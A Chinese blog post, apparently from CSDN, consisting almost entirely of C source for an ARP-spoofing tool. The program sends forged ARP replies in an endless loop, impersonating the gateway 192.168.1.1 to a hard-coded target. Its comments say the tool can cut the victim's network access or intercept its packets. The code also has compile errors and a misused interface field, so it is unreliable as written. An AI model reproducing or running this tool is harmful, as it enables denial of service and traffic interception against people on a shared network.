linux c arp协议分析二 - 打造并发送自己的arp包-优快云博客

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <net/ethernet.h> #include <netpacket/packet.h> #include <net/if.h> //如果只是想让对方断网，那就把mac源都设成MAC_TRICK， //想截获数据包那就用MAC_SOURCE #define MAC_TRICK {0x00, 0x00, 0x00, 0x00, 0x00, 0x00} #define MAC_SOURCE {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33} //冒充的IP #define IP_TRICK "192.168.1.1" //目标机器的MAC #define MAC_TARGET {0x6c, 0x62, 0x6d, 0x3e, 0x8d, 0x60} //目标机器的IP #define IP_TARGET "192.168.1.64" struct arp_packet { //DLC Header //接收方mac unsigned char mac_target[ETH_ALEN]; //发送方mac unsigned char mac_source[ETH_ALEN]; //Ethertype - 0x0806是ARP帧的类型值 unsigned short ethertype; //ARP Frame //硬件类型 - 以太网类型值0x1 unsigned short hw_type; //上层协议类型 - IP协议(0x0800) unsigned short proto_type; //MAC地址长度 unsigned char mac_addr_len; //IP地址长度 unsigned char ip_addr_len; //操作码 - 0x1表示ARP请求包,0x2表示应答包 unsigned short operation_code; //发送方mac unsigned char mac_sender[ETH_ALEN]; //发送方ip unsigned char ip_sender[4]; //接收方mac unsigned char mac_receiver[ETH_ALEN]; //接收方ip unsigned char ip_receiver[4]; //填充数据 unsigned char padding[18]; }; void die(const char *pre); int main(void) { int sfd, len; struct arp_packet ap; struct in_addr inaddr_sender, inaddr_receiver; struct sockaddr_ll sl; sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if(-1 == sfd) { perror("socket"); } memset(&ap, 0, sizeof(arp_packet)); ap.mac_target = MAC_TARGET; ap.mac_source = MAC_TRICK; ap.ethertype = htons(0x0806); ap.hw_type = htons(0x1); ap.proto_type = htons(0x0800); ap.mac_addr_len = ETH_ALEN; ap.ip_addr_len = 4; ap.operation_code = htons(0x2); ap.mac_sender = MAC_TRICK; inet_aton(IP_TRICK, &inaddr_sender); memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender)); ap.mac_receiver = MAC_TARGET; inet_aton(IP_TARGET, &inaddr_receiver); memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver)); memset(&sl, 0, sizeof(sl)); sl.sll_family = AF_PACKET; //sl.sll_addr = MAC_SOURCE; //sl.sll_halen = ETH_ALEN; sl.sll_ifindex = IFF_BROADCAST;//非常重要 while(1) { len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl)); if(-1 == len) { die("sendto"); } } return 0; } void die(const char *pre) { perror(pre); exit(1); }